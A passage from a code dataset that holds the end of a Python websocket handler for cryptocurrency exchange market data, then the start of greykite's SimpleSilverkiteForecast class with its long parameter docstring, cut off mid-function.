'USDT': '196758644.806'}]\r\n # timestamp, exchange volume, dict of top volumes\r\n server_timestamp, exchange_vol, top_vols = msg\r\n server_timestamp = calendar.timegm(time.strptime(server_timestamp, '%Y-%m-%d %H:%M'))\r\n for pair in top_vols:\r\n top_vols[pair] = Decimal(top_vols[pair])\r\n\r\n await self.callback(VOLUME, feed=self.id, exchange_volume=exchange_vol, timestamp=server_timestamp, receipt_timestamp=timestamp, **top_vols)\r\n\r\n async def _book(self, msg: dict, chan_id: int, timestamp: float):\r\n delta = {BID: [], ASK: []}\r\n msg_type = msg[0][0]\r\n pair = None\r\n forced = False\r\n # initial update (i.e. snapshot)\r\n if msg_type == 'i':\r\n forced = True\r\n pair = msg[0][1]['currencyPair']\r\n pair = pair_exchange_to_std(pair)\r\n self.l2_book[pair] = {BID: sd(), ASK: sd()}\r\n # 0 is asks, 1 is bids\r\n order_book = msg[0][1]['orderBook']\r\n for key in order_book[0]:\r\n amount = Decimal(order_book[0][key])\r\n price = Decimal(key)\r\n self.l2_book[pair][ASK][price] = amount\r\n\r\n for key in order_book[1]:\r\n amount = Decimal(order_book[1][key])\r\n price = Decimal(key)\r\n self.l2_book[pair][BID][price] = amount\r\n else:\r\n pair = self.pair_mapping[chan_id]\r\n pair = pair_exchange_to_std(pair)\r\n for update in msg:\r\n msg_type = update[0]\r\n # order book update\r\n if msg_type == 'o':\r\n side = ASK if update[1] == 0 else BID\r\n price = Decimal(update[2])\r\n amount = Decimal(update[3])\r\n if amount == 0:\r\n delta[side].append((price, 0))\r\n del self.l2_book[pair][side][price]\r\n else:\r\n delta[side].append((price, amount))\r\n self.l2_book[pair][side][price] = amount\r\n elif msg_type == 't':\r\n # index 1 is trade id, 2 is side, 3 is price, 4 is amount, 5 is timestamp\r\n _, order_id, _, price, amount, server_ts = update\r\n price = Decimal(price)\r\n amount = Decimal(amount)\r\n side = BUY if update[2] == 1 else SELL\r\n if self.__do_callback(TRADES, pair):\r\n await self.callback(TRADES, feed=self.id,\r\n pair=pair,\r\n side=side,\r\n amount=amount,\r\n price=price,\r\n timestamp=float(server_ts),\r\n order_id=order_id,\r\n receipt_timestamp=timestamp)\r\n else:\r\n LOG.warning(\"%s: Unexpected message received: %s\", self.id, msg)\r\n\r\n if self.__do_callback(L2_BOOK, pair):\r\n await self.book_callback(self.l2_book[pair], L2_BOOK, pair, forced, delta, timestamp, timestamp)\r\n\r\n async def message_handler(self, msg: str, timestamp: float):\r\n msg = json.loads(msg, parse_float=Decimal)\r\n if 'error' in msg:\r\n LOG.error(\"%s: Error from exchange: %s\", self.id, msg)\r\n return\r\n\r\n chan_id = msg[0]\r\n if chan_id == 1002:\r\n # the ticker channel doesn't have sequence ids\r\n # so it should be None, except for the subscription\r\n # ack, in which case its 1\r\n seq_id = msg[1]\r\n if seq_id is None:\r\n await self._ticker(msg[2], timestamp)\r\n elif chan_id == 1003:\r\n # volume update channel is just like ticker - the\r\n # sequence id is None except for the initial ack\r\n seq_id = msg[1]\r\n if seq_id is None:\r\n await self._volume(msg[2], timestamp)\r\n elif chan_id < 1000:\r\n # order book updates - the channel id refers to\r\n # the trading pair being updated\r\n seq_no = msg[1]\r\n\r\n if chan_id not in self.seq_no:\r\n self.seq_no[chan_id] = seq_no\r\n elif self.seq_no[chan_id] + 1 != seq_no and msg[2][0][0] != 'i':\r\n LOG.warning(\"%s: missing sequence number. Received %d, expected %d\", self.id, seq_no, self.seq_no[chan_id] + 1)\r\n raise MissingSequenceNumber\r\n self.seq_no[chan_id] = seq_no\r\n if msg[2][0][0] == 'i':\r\n del self.seq_no[chan_id]\r\n await self._book(msg[2], chan_id, timestamp)\r\n elif chan_id == 1010:\r\n # heartbeat - ignore\r\n pass\r\n else:\r\n LOG.warning('%s: Invalid message type %s', self.id, msg)\r\n\r\n async def subscribe(self, websocket):\r\n self.__reset()\r\n for channel in self.channels:\r\n await websocket.send(json.dumps({\"command\": \"subscribe\",\r\n \"channel\": channel\r\n }))\r\n", "source": "DunnCreativeSS/cash_carry_leveraged_futures_arbitrageur", "license": "Apache-2.0"} {"text": "# BSD 2-CLAUSE LICENSE\n\n# Redistribution and use in source and binary forms, with or without modification,\n# are permitted provided that the following conditions are met:\n\n# Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n# Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n# #ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n# original author: Albert Chen\n\n\nfrom datetime import datetime\nfrom typing import Dict\nfrom typing import List\nfrom typing import Optional\nfrom typing import Type\nfrom typing import Union\n\nimport pandas as pd\n\nfrom greykite.algo.changepoint.adalasso.changepoint_detector import get_changepoints_dict\nfrom greykite.algo.forecast.silverkite.constants.silverkite_column import SilverkiteColumn\nfrom greykite.algo.forecast.silverkite.constants.silverkite_constant import SilverkiteConstant\nfrom greykite.algo.forecast.silverkite.constants.silverkite_constant import default_silverkite_constant\nfrom greykite.algo.forecast.silverkite.constants.silverkite_holiday import SilverkiteHoliday\nfrom greykite.algo.forecast.silverkite.constants.silverkite_time_frequency import SilverkiteTimeFrequencyEnum\nfrom greykite.algo.forecast.silverkite.forecast_silverkite import SilverkiteForecast\nfrom greykite.algo.forecast.silverkite.forecast_simple_silverkite_helper import cols_interact\nfrom greykite.algo.forecast.silverkite.forecast_simple_silverkite_helper import generate_holiday_events\nfrom greykite.algo.forecast.silverkite.forecast_simple_silverkite_helper import get_event_pred_cols\nfrom greykite.algo.forecast.silverkite.forecast_simple_silverkite_helper import patsy_categorical_term\nfrom greykite.common import constants as cst\nfrom greykite.common.constants import GROWTH_COL_ALIAS\nfrom greykite.common.enums import SimpleTimeFrequencyEnum\nfrom greykite.common.enums import TimeEnum\nfrom greykite.common.features.timeseries_features import get_available_holidays_across_countries\nfrom greykite.common.features.timeseries_features import get_changepoint_features_and_values_from_config\nfrom greykite.common.logging import LoggingLevelEnum\nfrom greykite.common.logging import log_message\nfrom greykite.common.python_utils import unique_elements_in_list\nfrom greykite.common.python_utils import update_dictionary\nfrom greykite.common.time_properties_forecast import get_forecast_time_properties\n\n\nclass SimpleSilverkiteForecast(SilverkiteForecast):\n \"\"\"A derived class of `~greykite.algo.forecast.silverkite.SilverkiteForecast`.\n Provides an alternative interface with simplified configuration parameters.\n Produces the same trained model output and uses the same predict functions.\n \"\"\"\n def __init__(\n self,\n constants: SilverkiteConstant = default_silverkite_constant):\n super().__init__(constants=constants)\n self._silverkite_time_frequency_enum: Type[SilverkiteTimeFrequencyEnum] = constants.get_silverkite_time_frequency_enum()\n self._silverkite_holiday: Type[SilverkiteHoliday] = constants.get_silverkite_holiday()\n self._silverkite_column: Type[SilverkiteColumn] = constants.get_silverkite_column()\n\n def convert_params(\n self,\n df: pd.DataFrame,\n time_col: str,\n value_col: str,\n time_properties: Optional[Dict] = None,\n freq: Optional[str] = None,\n forecast_horizon: Optional[int] = None,\n origin_for_time_vars: Optional[float] = None,\n train_test_thresh: Optional[datetime] = None,\n training_fraction: Optional[float] = 0.9,\n fit_algorithm: str = \"ridge\",\n fit_algorithm_params: Optional[Dict] = None,\n holidays_to_model_separately: Optional[Union[str, List[str]]] = \"auto\",\n holiday_lookup_countries: Optional[Union[str, List[str]]] = \"auto\",\n holiday_pre_num_days: int = 2,\n holiday_post_num_days: int = 2,\n holiday_pre_post_num_dict: Optional[Dict] = None,\n daily_event_df_dict: Optional[Dict] = None,\n changepoints_dict: Optional[Dict] = None,\n yearly_seasonality: Union[bool, str, int] = \"auto\",\n quarterly_seasonality: Union[bool, str, int] = \"auto\",\n monthly_seasonality: Union[bool, str, int] = \"auto\",\n weekly_seasonality: Union[bool, str, int] = \"auto\",\n daily_seasonality: Union[bool, str, int] = \"auto\",\n max_daily_seas_interaction_order: Optional[int] = None,\n max_weekly_seas_interaction_order: Optional[int] = None,\n autoreg_dict: Optional[Dict] = None,\n lagged_regressor_dict: Optional[Dict] = None,\n seasonality_changepoints_dict: Optional[Dict] = None,\n min_admissible_value: Optional[float] = None,\n max_admissible_value: Optional[float] = None,\n uncertainty_dict: Optional[Dict] = None,\n growth_term: Optional[str] = \"linear\",\n regressor_cols: Optional[List[str]] = None,\n feature_sets_enabled: Optional[Union[bool, str, Dict[str, Optional[Union[bool, str]]]]] = \"auto\",\n extra_pred_cols: Optional[List[str]] = None,\n regression_weight_col: Optional[str] = None,\n simulation_based: Optional[bool] = False):\n \"\"\"Converts parameters of\n :func:`~greykite.algo.forecast.silverkite.forecast_simple_silverkite` into those\n of :func:`~greykite.algo.forecast.forecast_silverkite.SilverkiteForecast::forecast`.\n\n Makes it easier to set parameters to ``SilverkiteForecast::forecast`` suitable for most forecasting problems.\n Provides data-aware defaults for seasonality and interaction terms. Provides a simple\n configuration of holidays from an internal holiday database, and user-friendly configuration\n for growth and regressors.\n\n These parameters can be set from a plain-text config (e.g. no pandas dataframes).\n The parameter list is intentionally flat to facilitate hyperparameter grid search. Every\n parameter is either a parameter of ``SilverkiteForecast::forecast`` or a tuning parameter.\n\n Notes\n -----\n The basic parameters are identical to ``SilverkiteForecast::forecast``.\n The more complex parameters are specified via config parameters:\n\n * ``daily_event_df_dict`` (via ``holiday*``)\n * ``fs_components_df`` (via `*_seasonality``)\n * ``extra_pred_cols`` (via ``holiday*``, ``*seas*``, ``growth_term``,\n ``regressor_cols``, ``feature_sets_enabled``, ``extra_pred_cols``)\n\n Parameters\n ----------\n df : `pandas.DataFrame`\n A data frame which includes the timestamp column\n as well as the value column. This is the ``df`` for\n training the model, not for future prediction.\n time_col : `str`\n The column name in `df` representing time for the time series data\n The time column can be anything that can be parsed by pandas DatetimeIndex\n value_col: `str`\n The column name which has the value of interest to be forecasted\n time_properties : `dict` [`str`, `any`] or None, optional\n Time properties dictionary (likely produced by\n `~greykite.common.time_properties_forecast.get_forecast_time_properties`)\n with keys:\n\n ``\"ts\"`` : `UnivariateTimeSeries` or None\n ``df`` converted to a ``UnivariateTimeSeries``.\n ``\"period\"`` : `int`\n Period of each observation (i.e. minimum time between observations, in seconds).\n ``\"simple_freq\"`` : `SimpleTimeFrequencyEnum`\n ``SimpleTimeFrequencyEnum`` member corresponding to data frequency.\n ``\"num_training_points\"`` : `int`\n Number of observations for training.\n ``\"num_training_days\"`` : `int`\n Number of days for training.\n ``\"start_year\"`` : `int`\n Start year of the training period.\n ``\"end_year\"`` : `int`\n End year of the forecast period.\n ``\"origin_for_time_vars\"`` : `float`\n Continuous time representation of the first date in ``df``.\n\n In this function,\n\n - ``start_year`` and ``end_year`` are used to define ``daily_event_df_dict``.\n - ``simple_freq`` and ``num_training_days`` are used to define ``fs_components_df``.\n - ``simple_freq`` and ``num_training_days`` are used to set default ``feature_sets_enabled``.\n - ``origin_for_time_vars`` is used to set default ``origin_for_time_vars``.\n - the other parameters are ignored\n\n It is okay if ``num_training_points``, ``num_training_days``, ``start_year``, ``end_year``\n are computed for a superset of ``df``. This allows CV splits and backtest, which train on\n partial data, to use the same data-aware model parameters as the forecast on all training data.\n\n If None, the values are computed for ``df``. This corresponds to using the same\n modeling *approach* on the CV splits and backtest from `forecast_pipeline`, without\n requiring the same parameters. In this case, make sure ``forecast_horizon`` is at\n least as large as the test period for the split, to ensure all holidays are captured.\n freq : `str` or None, optional, default `None`\n Frequency of input data.\n Used to compute ``time_properties`` only if ``time_properties is None``.\n Frequency strings can have multiples, e.g. '5H'.\n See https://pandas.pydata.org/pandas-docs/stable/user_guide/timeseries.html#offset-aliases\n for a list of frequency aliases.\n If None, inferred by `pandas.infer_freq`.\n Provide this parameter if ``df`` has missing timepoints.\n forecast_horizon : `int` or None, optional, default `None`\n Number of periods to forecast into the future. Must be > 0.\n Used to compute ``time_properties`` only if ``time_properties is None``.\n If None, default is determined by input data frequency.\n Used to determine forecast end date, to pull the appropriate holiday data.\n Should be at least as large as the prediction period (if this function\n is called from ``forecast_pipeline``, the prediction period for different\n splits is set via ``cv_horizon``, ``test_horizon``, ``forecast_horizon``).\n origin_for_time_vars : `float` or None, optional, default `None`\n The time origin used to create continuous variables for time.\n If None, uses the value from ``time_properties``.\n train_test_thresh : `datetime.datetime` or None, optional, default `None`\n e.g. datetime.datetime(2019, 6, 30)\n The threshold for training and testing split.\n Note that the final returned model is trained using all data.\n If None, training split is based on ``training_fraction``.\n training_fraction : `float` or None, optional, default 0.9\n The fraction of data used for training (0.0 to 1.0)\n Used only if ``train_test_thresh is None``.\n If this is also None or 1.0, then we skip testing\n and train on the entire dataset.\n fit_algorithm : `str`, optional, default \"linear\"\n The type of predictive model used in fitting.\n\n See `~greykite.algo.common.ml_models.fit_model_via_design_matrix`\n for available options and their parameters.\n fit_algorithm_params : `dict` or None, optional, default None\n Parameters passed to the requested fit_algorithm.\n If None, uses the defaults in `~greykite.algo.common.ml_models.fit_model_via_design_matrix`.\n holiday_lookup_countries : `list` [`str`] or \"auto\" or None, optional, default \"auto\"\n The countries that contain the holidays you intend to model\n (``holidays_to_model_separately``).\n\n * If \"auto\", uses a default list of countries\n that contain the default ``holidays_to_model_separately``.\n See `~greykite.algo.forecast.silverkite.constants.silverkite_holiday.SilverkiteHoliday.HOLIDAY_LOOKUP_COUNTRIES_AUTO`.\n * If a list, must be a list of country names.\n * If None or an empty list, no holidays are modeled.\n\n holidays_to_model_separately : `list` [`str`] or \"auto\" or `~greykite.algo.forecast.silverkite.constants.silverkite_holiday.SilverkiteHoliday.ALL_HOLIDAYS_IN_COUNTRIES` or None, optional, default \"auto\" # noqa: E501\n Which holidays to include in the model.\n The model creates a separate key, value for each item in ``holidays_to_model_separately``.\n The other holidays in the countries are grouped together as a single effect.\n\n * If \"auto\", uses a default list of important holidays.\n See `~greykite.algo.forecast.silverkite.constants.silverkite_holiday.SilverkiteHoliday.HOLIDAYS_TO_MODEL_SEPARATELY_AUTO`.\n * If `~greykite.algo.forecast.silverkite.constants.silverkite_holiday.SilverkiteHoliday.ALL_HOLIDAYS_IN_COUNTRIES`,\n uses all available holidays in ``holiday_lookup_countries``. This can often\n create a model that has too many parameters, and should typically be avoided.\n * If a list, must be a list of holiday names.\n * If None or an empty list, all holidays in ``holiday_lookup_countries`` are grouped together\n as a single effect.\n\n Use ``holiday_lookup_countries`` to provide a list of countries where these holiday occur.\n holiday_pre_num_days : `int`, default 2\n Model holiday effects for ``holiday_pre_num_days`` days before the holiday.\n holiday_post_num_days : `int`, default 2\n Model holiday effects for ``holiday_post_num_days`` days after the holiday.\n holiday_pre_post_num_dict : `dict` [`str`, (`int`, `int`)] or None, default None\n Overrides ``pre_num`` and ``post_num`` for each holiday in\n ``holidays_to_model_separately``.\n For example, if ``holidays_to_model_separately`` contains \"Thanksgiving\" and \"Labor Day\",\n this parameter can be set to ``{\"Thanksgiving\": [1, 3], \"Labor Day\": [1, 2]}``,\n denoting that the \"Thanksgiving\" ``pre_num`` is 1 and ``post_num`` is 3, and \"Labor Day\"\n ``pre_num`` is 1 and ``post_num`` is 2.\n Holidays not specified use the default given by ``pre_num`` and ``post_num``.\n daily_event_df_dict : `dict` [`str`, `pandas.DataFrame`] or None, default None\n A dictionary of data frames, each representing events data for the corresponding key.\n Specifies additional events to include besides the holidays specified above. The format\n is the same as in `~greykite.algo.forecast.silverkite.SilverkiteForecast.forecast`.\n The DataFrame has two columns:\n\n - The first column contains event dates. Must be in a format\n recognized by `pandas.to_datetime`. Must be at daily\n frequency for proper join. It is joined against the time\n in ``df``, converted to a day:\n ``pd.to_datetime(pd.DatetimeIndex(df[time_col]).date)``.\n - the second column contains the event label for each date\n\n The column order is important; column names are ignored.\n The event dates must span their occurrences in both the training\n and future prediction period.\n\n During modeling, each key in the dictionary is mapped to a categorical variable\n named ``f\"{EVENT_PREFIX}_{key}\"``, whose value at each timestamp is specified\n by the corresponding DataFrame.\n\n For example, to manually specify a yearly event on September 1\n during a training/forecast period that spans 2020-2022::\n\n daily_event_df_dict = {\n \"custom_event\": pd.DataFrame({\n \"date\": [\"2020-09-01\", \"2021-09-01\", \"2022-09-01\"],\n \"label\": [\"is_event\", \"is_event\", \"is_event\"]\n })\n }\n\n It's possible to specify multiple events in the same df. Two events,\n ``\"sep\"`` and ``\"oct\"`` are specified below for 2020-2021::\n\n daily_event_df_dict = {\n \"custom_event\": pd.DataFrame({\n \"date\": [\"2020-09-01\", \"2020-10-01\", \"2021-09-01\", \"2021-10-01\"],\n \"event_name\": [\"sep\", \"oct\", \"sep\", \"oct\"]\n })\n }\n\n Use multiple keys if two events may fall on the same date. These events\n must be in separate DataFrames::\n\n daily_event_df_dict = {\n \"fixed_event\": pd.DataFrame({\n \"date\": [\"2020-09-01\", \"2021-09-01\", \"2022-09-01\"],\n \"event_name\": \"fixed_event\"\n }),\n \"moving_event\": pd.DataFrame({\n \"date\": [\"2020-09-01\", \"2021-08-28\", \"2022-09-03\"],\n \"event_name\": \"moving_event\"\n }),\n }\n\n The multiple event specification can be used even if events never overlap. An\n equivalent specification to the second example::\n\n daily_event_df_dict = {\n \"sep\": pd.DataFrame({\n \"date\": [\"2020-09-01\", \"2021-09-01\"],\n \"event_name\": \"is_event\"\n }),\n \"oct\": pd.DataFrame({\n \"date\": [\"2020-10-01\", \"2021-10-01\"],\n \"event_name\": \"is_event\"\n }),\n }\n\n Note: All these events are automatically added to the model. There is no need\n to specify them in ``extra_pred_cols`` as you would for\n `~greykite.algo.forecast.silverkite.SilverkiteForecast.forecast`.\n\n Note: Do not use `~greykite.common.constants.EVENT_DEFAULT`\n in the second column. This is reserved to indicate dates that do not\n correspond to an event.\n changepoints_dict : `dict` or None, optional, default None\n Specifies the changepoint configuration.\n\n ``\"method\"``: `str`\n The method to locate changepoints.\n Valid options:\n\n - \"uniform\". Places n_changepoints evenly spaced changepoints to allow growth to change.\n - \"custom\". Places changepoints at the specified dates.\n - \"auto\". Automatically detects change points. For configuration, see\n `~greykite.algo.changepoint.adalasso.changepoint_detector.ChangepointDetector.find_trend_changepoints`\n\n Additional keys to provide parameters for each particular method are described below.\n ``\"continuous_time_col\"``: `str`, optional\n Column to apply ``growth_func`` to, to generate changepoint features\n Typically, this should match the growth term in the model\n ``\"growth_func\"``: callable or None, optional\n Growth function (scalar -> scalar). Changepoint features are created\n by applying ``growth_func`` to ``continuous_time_col`` with offsets.\n If None, uses identity function to use ``continuous_time_col`` directly\n as growth term\n If changepoints_dict[\"method\"] == \"uniform\", this other key is required:\n\n ``\"n_changepoints\"``: int\n number of changepoints to evenly space across training period\n\n If changepoints_dict[\"method\"] == \"custom\", this other key is required:\n\n ``\"dates\"``: Iterable[Union[int, float, str, datetime]]\n Changepoint dates. Must be parsable by pd.to_datetime.\n Changepoints are set at the closest time on or after these dates\n in the dataset.\n\n If changepoints_dict[\"method\"] == \"auto\", the keys that matches the parameters in\n `~greykite.algo.changepoint.adalasso.changepoint_detector.ChangepointDetector.find_trend_changepoints`,\n except ``df``, ``time_col`` and ``value_col``, are optional.\n Extra keys also include \"dates\", \"combine_changepoint_min_distance\" and \"keep_detected\" to specify\n additional custom trend changepoints. These three parameters correspond to the three parameters\n \"custom_changepoint_dates\", \"min_distance\" and \"keep_detected\" in\n `~greykite.algo.changepoint.adalasso.changepoints_utils.combine_detected_and_custom_trend_changepoints`.\n\n yearly_seasonality : `str` or `bool` or `int`\n Determines the yearly seasonality.\n 'auto', True, False, or a number for the Fourier order\n quarterly_seasonality : `str` or `bool` or `int`\n Determines the quarterly seasonality.\n 'auto', True, False, or a number for the Fourier order\n monthly_seasonality : `str` or `bool` or `int`\n Determines the monthly seasonality.\n 'auto', True, False, or a number for the Fourier order\n weekly_seasonality : `str` or `bool` or `int`\n Determines the weekly seasonality.\n 'auto', True, False, or a number for the Fourier order\n daily_seasonality : `str` or `bool` or `int`\n Determines the daily seasonality.\n 'auto', True, False, or a number for the Fourier order\n max_daily_seas_interaction_order : `int` or None, optional, default `None`\n Max fourier order for interaction terms with daily seasonality.\n If None, uses all available terms.\n max_weekly_seas_interaction_order : `int` or None, optional, default `None`\n Max fourier order for interaction terms with weekly seasonality.\n If None, uses all available terms.\n autoreg_dict : `dict` or None, optional, default `None`\n A dictionary with arguments for `~greykite.common.features.timeseries_lags.build_autoreg_df`.\n That function's parameter ``value_col`` is inferred from the input of\n current function ``SilverkiteForecast::forecast``. Other keys are:\n\n ``\"lag_dict\"`` : `dict` or None\n ``\"agg_lag_dict\"`` : `dict` or None\n ``\"series_na_fill_func\"`` : callable\n\n See more details for above parameters in\n `~greykite.common.features.timeseries_lags.build_autoreg_df`.\n lagged_regressor_dict : `dict` or None, default None\n A dictionary with arguments for `greykite.common.features.timeseries_lags.build_autoreg_df_multi`.\n The keys of the dictionary are the target lagged regressor column names.\n It can leverage the regressors included in ``df``.\n The value of each key is either a `dict` or `str`.\n If `dict`, it has the following keys:\n\n ``\"lag_dict\"`` : `dict` or None\n ``\"agg_lag_dict\"`` : `dict` or None\n ``\"series_na_fill_func\"`` : callable\n\n If `str`, it represents a method and a dictionary will be constructed using that `str`.\n Currently the only implemented method is \"auto\" which uses\n `~greykite.algo.forecast.silverkite.SilverkiteForecast.__get_default_lagged_regressor_dict`\n to create a dictionary for each lagged regressor.\n An example::\n\n lagged_regressor_dict = {\n \"regressor1\": {\n \"lag_dict\": {\"orders\": [1, 2, 3]},\n \"agg_lag_dict\": {\n \"orders_list\": [[7, 7 * 2, 7 * 3]],\n \"interval_list\": [(8, 7 * 2)]},\n \"series_na_fill_func\": lambda s: s.bfill().ffill()},\n \"regressor2\": \"auto\"}\n seasonality_changepoints_dict : `dict` or None, optional, default `None`\n The parameter dictionary for seasonality change point detection. Parameters are in\n `~greykite.algo.changepoint.adalasso.changepoint_detector.ChangepointDetector.find_seasonality_changepoints`.\n Note ``df``, ``time_col``, ``value_col`` and ``trend_changepoints`` are auto populated,\n and do not need to be provided.\n min_admissible_value : `float` or None, optional, default `None`\n The minimum admissible value to return during prediction.\n If None, no limit is applied.\n max_admissible_value : `float` or None, optional, default `None`\n The maximum admissible value to return during prediction.\n If None, no limit is applied.\n uncertainty_dict : `dict` or None, optional, default `None`\n How to fit the uncertainty model. A dictionary with keys:\n ``\"uncertainty_method\"`` : `str`\n The title of the method.\n Only \"simple_conditional_residuals\" is implemented\n in ``fit_prediction_model`` which calculates CIs using residuals\n ``\"params\"``: `dict`\n A dictionary of parameters needed for\n the requested ``uncertainty_method``. For example, for\n ``uncertainty_method=\"simple_conditional_residuals\"``, see\n parameters of `~greykite.algo.uncertainty.conditional.conf_interval.conf_interval`,\n listed briefly here:\n\n ``\"conditional_cols\"``\n ``\"quantiles\"``\n ``\"quantile_estimation_method\"``\n ``\"sample_size_thresh\"``\n ``\"small_sample_size_method\"``\n ``\"small_sample_size_quantile\"``\n\n If None, no uncertainty intervals are calculated.\n growth_term : `str` or None, optional, default \"ct1\"\n How to model the growth. Valid options are\n {\"linear\", \"quadratic\", \"sqrt\", \"cuberoot\"}.\n regressor_cols : `list` [`str`] or None, optional, default None\n The columns in ``df`` to use as regressors.\n These must be provided during prediction as well.\n feature_sets_enabled: `dict` [`str`, `bool` or \"auto\" or None] or `bool` or \"auto\" or None, default \"auto\"\n Whether to include interaction terms and categorical variables to increase model flexibility.\n\n If a `dict`, boolean values indicate whether include various sets of features in the model.\n The following keys are recognized\n (from `~greykite.algo.forecast.silverkite.constants.silverkite_column.SilverkiteColumn`):\n\n ``\"COLS_HOUR_OF_WEEK\"`` : `str`\n Constant hour of week effect\n ``\"COLS_WEEKEND_SEAS\"`` : `str`\n Daily seasonality interaction with is_weekend\n ``\"COLS_DAY_OF_WEEK_SEAS\"`` : `str`\n Daily seasonality interaction with day of week\n ``\"COLS_TREND_DAILY_SEAS\"`` : `str`\n Allow daily seasonality to change over time by is_weekend\n ``\"COLS_EVENT_SEAS\"`` : `str`\n Allow sub-daily event effects\n ``\"COLS_EVENT_WEEKEND_SEAS\"`` : `str`\n Allow sub-daily event effect to interact with is_weekend\n ``\"COLS_DAY_OF_WEEK\"`` : `str`\n Constant day of week effect\n ``\"COLS_TREND_WEEKEND\"`` : `str`\n Allow trend (growth, changepoints) to interact with is_weekend\n ``\"COLS_TREND_DAY_OF_WEEK\"`` : `str`\n Allow trend to interact with day of week\n ``\"COLS_TREND_WEEKLY_SEAS\"`` : `str`\n Allow weekly seasonality to change over time\n\n The following dictionary values are recognized:\n\n - True: include the feature set in the model\n - False: do not include the feature set in the model\n - None: do not include the feature set in the model\n - \"auto\" or not provided: use the default setting based on data frequency and size\n\n If not a `dict`:\n\n - if a boolean, equivalent to a dictionary with all values set to the boolean.\n - if None, equivalent to a dictionary with all values set to False.\n - if \"auto\", equivalent to a dictionary with all values set to \"auto\".\n\n extra_pred_cols : `list` [`str`] or None, optional, default `None`\n Columns to include in ``extra_pred_cols`` for ``SilverkiteForecast::forecast``.\n Other columns are added to ``extra_pred_cols`` by the other\n parameters of this function (i.e. ``holidays_*``, ``growth_term``,\n ``regressors``, ``feature_sets_enabled``).\n If `None`, treated is the same as [].\n regression_weight_col : `str` or None, default None\n The column name for the weights to be used in weighted regression version\n of applicable machine-learning models.\n simulation_based : `bool`, default False\n Boolean to specify if the future predictions are to be using simulations\n or not.\n Note that this is only used in deciding what parameters should be\n used for certain components e.g. autoregression, if automatic methods\n are requested. However, the auto-settings and the prediction settings\n regarding using simulations should match.\n\n Returns\n -------\n parameters : `dict`\n Parameters to call :func:`~greykite.algo.forecast.silverkite.SilverkiteForecast.forecast`.\n \"\"\"\n if extra_pred_cols is None:\n extra_pred_cols = []\n else:\n # Does not modify the input list\n extra_pred_cols = extra_pred_cols.copy()\n\n # Specifies regressors (via ``extra_pred_cols``)\n if regressor_cols is None:\n regressor_cols = []\n extra_pred_cols += regressor_cols\n\n if time_properties is None:\n # ``df`` only contains the dates for training,\n # so we can use ``use_univariate_ts=False``.\n # ``forecast_horizon`` must be at least as large as\n # the actual size of the test set / forecast set\n # in order to pull all holidays\n time_properties = get_forecast_time_properties(\n df=df,\n time_col=time_col,\n value_col=value_col,\n freq=freq,\n regressor_cols=regressor_cols,\n forecast_horizon=forecast_horizon)\n\n if time_properties is not None:\n forecast_horizon = forecast_horizon or time_properties.get(\"forecast_horizon\")\n\n if origin_for_time_vars is None:\n origin_for_time_vars = time_properties[\"origin_for_time_vars\"]\n\n # Specifies seasonality (added to ``extra_pred_cols`` by `SilverkiteForecast::forecast`)\n seasonality_dict = {\n \"yearly_seasonality\": yearly_seasonality,\n \"quarterly_seasonality\": quarterly_seasonality,\n \"monthly_seasonality\": monthly_seasonality,\n \"weekly_seasonality\": weekly_seasonality,\n \"daily_seasonality\": daily_seasonality,\n }\n\n fs_components_df = self.__get_silverkite_seasonality(\n simple_freq=time_properties[\"simple_freq\"].name,\n num_days=time_properties[\"num_training_days\"],\n seasonality=seasonality_dict)\n\n # Specifies growth (via ``extra_pred_cols``)\n growth_term_formula = None\n if growth_term is not None:\n growth_term_formula = GROWTH_COL_ALIAS[growth_term]\n extra_pred_cols += [growth_term_formula]\n\n # Specifies events (via ``daily_event_df_dict``, ``extra_pred_cols``).\n # Constant daily effect.\n holiday_df_dict = self.__get_silverkite_holidays(\n holiday_lookup_countries=holiday_lookup_countries,\n holidays_to_model_separately=holidays_to_model_separately,\n start_year=time_properties[\"start_year\"],\n end_year=time_properties[\"end_year\"],\n pre_num=holiday_pre_num_days,\n post_num=holiday_post_num_days,\n pre_post_num_dict=holiday_pre_post_num_dict)\n if holiday_df_dict is not None:\n # Adds holidays to the user-specified events,\n # giving preference to user events\n # if there are conflicts\n daily_event_df_dict = update_dictionary(\n holiday_df_dict,\n overwrite_dict=daily_event_df_dict)\n\n if not daily_event_df_dict:\n # Sets empty dictionary to None\n daily_event_df_dict = None\n\n extra_pred_cols += get_event_pred_cols(daily_event_df_dict)\n\n # Specifies ``extra_pred_cols`` (interactions and additional model terms).\n # Seasonality interaction order is limited by the available order and max requested.\n daily_seas_interaction_order = self.__get_seasonality_order_from_dataframe(\n seasonality=self._silverkite_seasonality_enum.DAILY_SEASONALITY.value,\n fs=fs_components_df,\n max_order=max_daily_seas_interaction_order\n )\n\n weekly_seas_interaction_order = self.__get_seasonality_order_from_dataframe(\n seasonality=self._silverkite_seasonality_enum.WEEKLY_SEASONALITY.value,\n fs=fs_components_df,\n max_order=max_weekly_seas_interaction_order\n )\n\n # updates `changepoints_dict`, unchanged if not \"method\" == \"auto\"\n changepoints_dict, changepoint_detector = get_changepoints_dict(\n df=df,\n time_col=time_col,\n value_col=value_col,\n changepoints_dict=changepoints_dict)\n\n # determines changepoint column names\n if changepoints_dict is not None:\n changepoints = get_changepoint_features_and_values_from_config(\n df=df, # the training dataset\n time_col=time_col,\n changepoints_dict=changepoints_dict,\n origin_for_time_vars=origin_for_time_vars)\n changepoint_cols = changepoints[\"changepoint_cols\"]\n else:\n changepoint_cols = []\n\n feature_sets_enabled = self.__get_feature_sets_enabled(\n 